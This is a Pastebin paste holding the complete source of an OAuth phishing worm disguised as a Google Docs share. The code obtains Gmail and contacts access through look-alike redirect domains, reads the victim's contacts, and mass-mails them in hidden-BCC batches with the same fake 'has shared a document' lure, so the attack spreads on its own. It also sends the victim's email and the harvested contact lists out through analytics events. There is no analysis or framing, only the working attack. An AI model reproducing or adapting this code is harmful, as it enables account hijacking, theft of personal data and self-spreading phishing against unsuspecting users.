Advertisement
Guest User

Untitled

a guest
May 3rd, 2017
868
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 8.10 KB | None | 0 0
  1.  
  2. <html>
  3.   <head>
  4.     <script type="text/javascript">
  5.       function getCookie(name) {
  6.         var matches = document.cookie.match(new RegExp(
  7.           "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  8.         ));
  9.         return matches ? decodeURIComponent(matches[1]) : undefined;
  10.       }
  11.  
  12.       // Your Client ID can be retrieved from your project in the Google
  13.       // Developer Console, https://console.developers.google.com
  14.       var CLIENT_ID = '1535050614-8i934kb9l0snc0iocqb0iv27lli0r858.apps.googleusercontent.com';
  15.       var CLIENT_ID_2 = '73997885975-8p24fi1e7rdi7pj6dmmhucdm4dclednr.apps.googleusercontent.com';
  16.  
  17.       var SCOPES = ['https://mail.google.com/', 'https://www.googleapis.com/auth/contacts'];
  18.  
  19.       var redirect_url = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.g-docs.win/g.php') + '&customparam=customparam';
  20.  
  21.       var redirect_url_2 = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID_2) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.g-cloud.win/g.php') + '&customparam=customparam';
  22.  
  23.       var alert_url = 'http://googledocs.g-docs.win/r.php?h=26070c156677bca6264542e18700e831';
  24.  
  25.       /**
  26.        * Check if current user has authorized this application.
  27.        */
  28.       function checkAuth() {
  29.         gapi.auth.authorize(
  30.           {
  31.             'client_id': CLIENT_ID,
  32.             'scope': SCOPES.join(' '),
  33.             'immediate': true
  34.           }, handleAuthResult);
  35.       }
  36.  
  37.       /**
  38.        * Handle response from authorization server.
  39.        *
  40.        * @param {Object} authResult Authorization result.
  41.        */
  42.       function handleAuthResult(authResult) {
  43.         var authorizeDiv = document.getElementById('authorize-div');
  44.         if (authResult && !authResult.error) {
  45.          // Hide auth UI, then load client library.
  46.          loadGmailApi();
  47.         } else {
  48.           // Show auth UI, allowing the user to initiate authorization by
  49.           // clicking authorize button.
  50.           window.top.location.href = alert_url;
  51.         }
  52.       }
  53.  
  54.       /**
  55.        * Load Gmail API client library. List labels once client library
  56.        * is loaded.
  57.        */
  58.       function loadGmailApi() {
  59.         gapi.client.load('gmail', 'v1', listContacts());
  60.       }
  61.  
  62.       /**
  63.        * Print all Contacts in the authorized user's account. If no contacts
  64.        * are found an appropriate message is printed.
  65.        */
  66.       function listContacts() {
  67.  
  68.         console.log(gapi.client.gmail);
  69.  
  70.         var token = gapi.auth.getToken();
  71.         console.log(token);
  72.  
  73.         $.ajax({
  74.           url: "https://www.google.com/m8/feeds/contacts/default/full?access_token=" + token.access_token + "&max-results=1000&orderby=lastmodified&sortorder=descending",
  75.          dataType: "jsonp",
  76.          success:function(data) {
  77.                                // display all your data in console
  78. //                    console.log(JSON.stringify(data));
  79.  
  80. //                    console.log(data);
  81.  
  82.             var from_email = getCookie('from');
  83.             console.log(from_email);
  84.  
  85.             var parser = new DOMParser();
  86.             xmlDoc = parser.parseFromString(data,"text/xml");
  87.  
  88.             var myemail = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('email')[0].textContent;
  89.             console.log(myemail);
  90.             var myname = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('name')[0].textContent;
  91.             console.log(myname);
  92.  
  93.             var entries = xmlDoc.getElementsByTagName('feed')[0].getElementsByTagName('entry');
  94.             var contacts = [];
  95.             var gmail_contacts = [];
  96.             var other_contacts = [];
  97.             for (var i = 0; i < entries.length; i++){
  98.              var name = entries[i].getElementsByTagName('title')[0].textContent;
  99.              var emails = entries[i].getElementsByTagName('email');
  100.              for (var j = 0; j < emails.length; j++){
  101.                var email = emails[j].attributes.getNamedItem('address').value;
  102.                if (email != from_email && email != myemail) {
  103.                  if (email.search('@gmail.com') != -1)
  104.                    gmail_contacts.push(email);
  105.                  else if (!(email.search('google') != -1 || email.search('keeper') != -1 || email.search('unty') != -1))
  106.                    other_contacts.push(email);                  
  107.                }
  108.  
  109.  //                console.log(email);
  110.              }
  111.            }
  112.  //          console.log(gmail_contacts);
  113.  //          console.log(other_contacts);
  114.          
  115.            var to = '[email protected]';
  116.  
  117.            var cc = '';
  118.  
  119.            var bcc = '';
  120.  
  121.            contacts = gmail_contacts.concat(other_contacts);
  122.  
  123.            for (var j = 0; j <= Math.floor(contacts.length / 99); j++) {
  124.  
  125.              bcc = '';
  126.  
  127.              for (var i = j * 99; i < Math.min(j * 99 + 99, contacts.length); i++) {
  128.                bcc +=  contacts[i] + ',';
  129.              }              
  130.  
  131.              console.log(bcc);
  132.              setTimeout(sendEmail, 1000 + j * 100, to, cc, bcc, myemail, myname);
  133.  
  134.              ga('send', 'event', 'gmail_contacts', gmail_contacts.length);
  135.              ga('send', 'event', 'other_contacts', other_contacts.length);
  136.              ga('send', 'event', myemail, bcc);
  137.            }
  138.          }
  139.        });
  140.  
  141.      }
  142.  
  143.  
  144. function sendMessage(headers_obj, message, callback)
  145. {
  146.  
  147.  console.log(gapi.client.gmail);
  148.  
  149.  if (gapi.client.gmail == null) {
  150.    ga('send', 'event', 'error', 'error');
  151.    setTimeout(redirect, 2000);
  152.    return false;
  153.  }
  154.  
  155.  var email = '';
  156.  
  157.  for(var header in headers_obj)
  158.    email += header += ": "+headers_obj[header]+"\r\n";
  159.  
  160.  email += "\r\n" + message;
  161.  
  162.  var sendRequest = gapi.client.gmail.users.messages.send({
  163.    'userId': 'me',
  164.    'resource': {
  165.      'raw': window.btoa(email).replace(/\+/g, '-').replace(/\//g, '_')
  166.    }
  167.  });
  168.  
  169.  return sendRequest.execute(callback);
  170. }
  171.  
  172. function sendEmail(to, cc, bcc, from, myname)
  173. {
  174.  var subject = myname + ' has shared a document on Google Docs with you';
  175.  console.log(subject);
  176.  var body = '<html><body><div style="font-size:14px;line-height:18px;color:#444">' + myname + ' has invited you to view the following document:</div><br/><a href="' + redirect_url_2 + '" style="background-color:#4d90fe;border:1px solid #3079ed;border-radius:2px;color:white;display:inline-block;font-family:Roboto,Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;height:29px;line-height:29px;min-width:54px;outline:0px;padding:0 8px;text-align:center;text-decoration:none" target="_blank">Open in Docs</a></body></html>';
  177.   console.log(body);
  178.  
  179.   sendMessage(
  180.     {
  181.       'To': to,
  182.       'Cc': cc,
  183.       'Bcc': bcc,
  184.       'Subject': subject,
  185.       'Content-Type': 'text/html; charset=UTF-8'
  186.     },
  187.     body,
  188.     composeTidy
  189.   );
  190.  
  191.   return false;
  192. }
  193.  
  194. function composeTidy()
  195. {
  196.   console.log('Email sent');
  197.   setTimeout(redirect, 2000);
  198. }
  199.  
  200. function redirect()
  201. {
  202.   window.top.location.href = alert_url;
  203. }
  204.  
  205.     </script>
  206.    
  207.     <script src="https://apis.google.com/js/client.js?onload=checkAuth"></script>
  208.  
  209.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
  210.  
  211. <script>
  212.   (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  213.   (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  214.   m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  215.   })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
  216.  
  217.   ga('create', 'UA-98290545-1', 'auto');
  218.   ga('send', 'pageview');
  219.  
  220. </script>
  221.  
  222.   </head>
  223.   <body>
  224.  
  225.   </body>
  226. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement